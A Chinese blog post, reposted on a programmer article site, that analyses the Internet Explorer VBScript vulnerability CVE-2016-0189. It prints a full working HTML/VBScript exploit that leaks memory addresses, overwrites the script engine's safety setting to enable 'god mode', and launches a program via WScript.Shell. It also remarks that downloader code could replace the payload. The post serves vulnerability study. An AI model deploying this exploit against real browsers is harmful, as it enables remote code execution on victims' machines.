欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

CVE-2016-0189

程序员文章站 2022-07-15 16:00:52
...

IE CVE-2016-0189远程执行漏洞分析

作者: 被遗弃的庸才

一、前言

IE CVE-2016-0189是通过Microsoft发布的MS16-051的补丁程序进行对比之后发现的,随后漏洞被韩国用于APT攻击。出现漏洞的原因是在vbs解析引擎中,数组中指定下标时会调用vbscript!AccessArray中的vbscript!rtVariantChangeTypeEx函数,vbscript!rtVariantChangeTypeEx函数并没有实现而是调用了oleaut32!VariantChangeTypeEx函数,在这个函数中会检查传入的索引类型,如果不是整数型就会调用valueof方法,进行类型转化,注意这里的valeueof是可以被重载的(这里就可以做一些猥琐的事情)。如果我们在重载的valueof函数中减小数组的大小,内存就会被释放,这时立刻申请内存,数组被释放的部分就可能被再次占用(但是数组的访问还是原始的大小,我们就可以构造任意地址的读写)。这里是先定义一个比较大的二维数组A(1, 2000),接着给A(arg1, 2)赋值,首先会去调用重载的valueof函数,函数中会修改A数组的大小,接着就立刻申请内存进行占位,最后返回1。对aw.A(arg1, 2)赋值就会变成对aw.A(1, 2)赋值,而且A数组的A(1,1)之后的内存已经被释放又被构造的内存重新占用了。

CVE-2016-0189CVE-2016-0189
CVE-2016-0189

二、漏洞复现

<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
    <script type="text/vbscript">
        Dim aw
        Dim plunge(32)
        Dim y(32)
        prefix = "%u4141%u4141"
        d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
        b = String(64000, "D")
        c = d & b
        x = UnEscape(c)

        Class ArrayWrapper
            Dim A()
            Private Sub Class_Initialize
                ' 2x2000 elements x 16 bytes / element = 64000 bytes
                ReDim Preserve A(1, 2000)
            End Sub

            Public Sub Resize()
                ReDim Preserve A(1, 1)
            End Sub
        End Class

        Class Dummy
        End Class

        Function getAddr (arg1, s)
            aw = Null
            Set aw = New ArrayWrapper

            For i = 0 To 32
                Set plunge(i) = s
            Next

            Set aw.A(arg1, 2) = s

            Dim addr
            Dim i
            For i = 0 To 31
                If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
                    addr = strToInt(Mid(y(i), 3 + 4, 2))
                End If
                y(i) = Null
            Next

            If addr = Null Then
                document.location.href = document.location.href
                Return
            End If

            getAddr = addr
        End Function

        Function leakMem (arg1, addr)
            d = prefix & "%u0008%u4141%u4141%u4141"
            c = d & intToStr(addr) & b
            x = UnEscape(c)

            aw = Null
            Set aw = New ArrayWrapper

            Dim o
            o = aw.A(arg1, 2)

            leakMem = o
        End Function

        Sub overwrite (arg1, addr)
            d = prefix & "%u400C%u0000%u0000%u0000"
            c = d & intToStr(addr) & b
            x = UnEscape(c)

            aw = Null
            Set aw = New ArrayWrapper

            ' Single has vartype of 0x04
            aw.A(arg1, 2) = CSng(0)
        End Sub

        Function exploit (arg1)
            Dim addr
            Dim csession
            Dim olescript
            Dim mem

            ' Create a vbscript class instance
            Set dm = New Dummy
            ' Get address of the class instance
            addr = getAddr(arg1, dm)
            ' Leak CSession address from class instance
            mem = leakMem(arg1, addr + 8)
            csession = strToInt(Mid(mem, 3, 2))
            ' Leak COleScript address from CSession instance
            mem = leakMem(arg1, csession + 4)
            olescript = strToInt(Mid(mem, 1, 2))
            ' Overwrite SafetyOption in COleScript (e.g. god mode)
            ' e.g. changes it to 0x04 which is not in 0x0B mask
            overwrite arg1, olescript + &H174
			set obj = createobject("wscript.shell")
			obj.run("notepad")
        End Function

        Function triggerBug
            ' Resize array we are currently indexing
            aw.Resize()

            ' Overlap freed array area with our exploit string
            Dim i
            For i = 0 To 32
                ' 24000x2 + 6 = 48006 bytes
                y(i) = Mid(x, 1, 24000)
            Next
        End Function
    </script>

    <script type="text/javascript">
        function strToInt(s)
        {
            return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
        }
        function intToStr(x)
        {
            return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
        }
        var o;
        o = {"valueOf": function () {
                triggerBug();
                return 1;
            }};
        setTimeout(function() {exploit(o);}, 50);
    </script>
</body>
</html>

在本地虚拟机上面就成功执行poc了
CVE-2016-0189

三、漏洞分析

看一看会用到的结构体,虽然看起来很长但是只有0x10个字节,这里是各个类型的定义https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/3fe7db9f-5803-4dc4-9d14-5425d3f5461f。

typedef struct tagVARIANT {
  union {
    struct {
      VARTYPE vt;
      WORD    wReserved1;
      WORD    wReserved2;
      WORD    wReserved3;
      union {
        LONGLONG     llVal;
        LONG         lVal;
        BYTE         bVal;
        SHORT        iVal;
        FLOAT        fltVal;
        DOUBLE       dblVal;
        VARIANT_BOOL boolVal;
        VARIANT_BOOL __OBSOLETE__VARIANT_BOOL;
        SCODE        scode;
        CY           cyVal;
        DATE         date;
        BSTR         bstrVal;
        IUnknown     *punkVal;
        IDispatch    *pdispVal;
        SAFEARRAY    *parray;
        BYTE         *pbVal;
        SHORT        *piVal;
        LONG         *plVal;
        LONGLONG     *pllVal;
        FLOAT        *pfltVal;
        DOUBLE       *pdblVal;
        VARIANT_BOOL *pboolVal;
        VARIANT_BOOL *__OBSOLETE__VARIANT_PBOOL;
        SCODE        *pscode;
        CY           *pcyVal;
        DATE         *pdate;
        BSTR         *pbstrVal;
        IUnknown     **ppunkVal;
        IDispatch    **ppdispVal;
        SAFEARRAY    **pparray;
        VARIANT      *pvarVal;
        PVOID        byref;
        CHAR         cVal;
        USHORT       uiVal;
        ULONG        ulVal;
        ULONGLONG    ullVal;
        INT          intVal;
        UINT         uintVal;
        DECIMAL      *pdecVal;
        CHAR         *pcVal;
        USHORT       *puiVal;
        ULONG        *pulVal;
        ULONGLONG    *pullVal;
        INT          *pintVal;
        UINT         *puintVal;
        struct {
          PVOID       pvRecord;
          IRecordInfo *pRecInfo;
        } __VARIANT_NAME_4;
      } __VARIANT_NAME_3;
    } __VARIANT_NAME_2;
    DECIMAL decVal;
  } __VARIANT_NAME_1;
} VARIANT;

这里首先分析一下获取地址,这里的s代表的是Dummy类,其中这个类是空的没有具体实现的函数。plunge(i)是用来占用一些空隙内存的,这里在调用A(arg1, 2)时会触发valueOf,会释放内存后申请内存,其中x是精心构造的,为了得到类对象的地址,x前面的0x41是为了方便找到这个块内存。查找的方式是判断存储在A(1,2)的对象的,是否在申请的内存内,从而出现错位和2014-6332的错位几乎是一样的,可以看下图的windbg的内存布局。

prefix = "%u4141%u4141"
d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
b = String(64000, "D")
c = d & b
x = UnEscape(c)

Function triggerBug
    ' Resize array we are currently indexing
    aw.Resize()

    ' Overlap freed array area with our exploit string
    Dim i
    For i = 0 To 32
        ' 24000x2 + 6 = 48006 bytes
        y(i) = Mid(x, 1, 24000)
    Next
End Function
o = {"valueOf": function () {
    triggerBug();
    return 1;
    }};
    
    Set dm = New Dummy
    ' Get address of the class instance
    addr = getAddr(arg1, dm)    
...............
Function getAddr (arg1, s)
    aw = Null
    Set aw = New ArrayWrapper

    For i = 0 To 32
        Set plunge(i) = s
    Next

    Set aw.A(arg1, 2) = s

    Dim addr
    Dim i
    For i = 0 To 31
        If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
            addr = strToInt(Mid(y(i), 3 + 4, 2))
        End If
        y(i) = Null
    Next

    If addr = Null Then
        document.location.href = document.location.href
        Return
    End If

    getAddr = addr
End Function

我们想要的是下面的这种情况,A和f(x)是相邻的。

CVE-2016-0189

这里下断点的方式bp vbscript!VbsIsEmpty,这里在addr = strToInt(Mid(y(i), 3 + 4, 2))后面加上IsEmpty(f(i))就能看到如下的内存布局

CVE-2016-0189

好了现在找到我们需要的内存结构和类对象的地址接下来就是得到CSession对象的地址,这里的构造了一个0x8的数据类型也就是BSTR(string),同时可以从上图看出该结构为4字节的字符串长度+字符+两个字节的00(上图看不见,用来标记结尾的)。

CVE-2016-0189

之后利用同样的方式构造出字符串的的数据类型,这里用一个问题就是为什么要+8在strToInt(Mid(mem, 3, 2)),既然csession对象在0xc的位置直接leakMem(arg1, addr + c)在csession = strToInt(Mid(mem, 1, 2))不是一样的吗?我们从内存的角度来看一看为什么不行。

mem = leakMem(arg1, addr + 8)
csession = strToInt(Mid(mem, 3, 2))
csession = strToInt(Mid(mem, 3, 2))
mem = leakMem(arg1, csession + 4)
olescript = strToInt(Mid(mem, 1, 2))
Function leakMem (arg1, addr)
    d = prefix & "%u0008%u4141%u4141%u4141"
    c = d & intToStr(addr) & b
    x = UnEscape(c)

    aw = Null
    Set aw = New ArrayWrapper

    Dim o
    o = aw.A(arg1, 2)

    leakMem = o
End Function

老规矩可以在o = aw.A(arg1, 2)后面加上一个IsEmpty(y(0))并下断,断下之后可以看到下面的内存

CVE-2016-0189

最后就是构造写,可以从代码中看出把类型构造为0x400c之后给olescript对象加上0x174的赋值为0,那么我们还是一样添加IsEmpty(y(0))之后下断,但是会有一个问题就是拿到的是f(0)并不是我们想要的,主要原因是f(0)在内存中不是和A数组紧挨,所以我们这里添加一些代码来确认这里的A和f(0)是相邻的。

overwrite arg1, olescript + &H174
Sub overwrite (arg1, addr)
     d = prefix & "%u400C%u0000%u0000%u0000"
     c = d & intToStr(addr) & b
     x = UnEscape(c)

aw = Null
Set aw = New ArrayWrapper

' Single has vartype of 0x04
IsEmpty(y(0))
aw.A(arg1, 2) = CSng(0)
End Sub

我是添加的代码
Sub overwrite (arg1, addr)
    d = prefix & "%u400C%u0000%u0000%u0000"
    c = d & intToStr(addr) & b
    x = UnEscape(c)

    aw = Null
    Set aw = New ArrayWrapper


    aw.A(arg1, 2) = CSng(0)

    Dim i
    For i = 0 To 32
        If Asc(Mid(y(i), 3, 1)) <> &h8 Then
            IsEmpty(y(i))
        End If
    Next


End Sub




这里可以看到将目标地址修改为4关闭了safemode,开启上帝模式,之后添加一些vb代码打开notepad,当然这vb代码可以换成其他downloader的代码。

CVE-2016-0189

aw = Null
Set aw = New ArrayWrapper


aw.A(arg1, 2) = CSng(0)

Dim i
For i = 0 To 32
    If Asc(Mid(y(i), 3, 1)) <> &h8 Then
        IsEmpty(y(i))
    End If
Next
End Sub

这里可以看到将目标地址修改为4关闭了safemode,开启上帝模式,之后添加一些vb代码打开notepad,当然这vb代码可以换成其他downloader的代码。
CVE-2016-0189

相关标签: 工作趣文

推荐阅读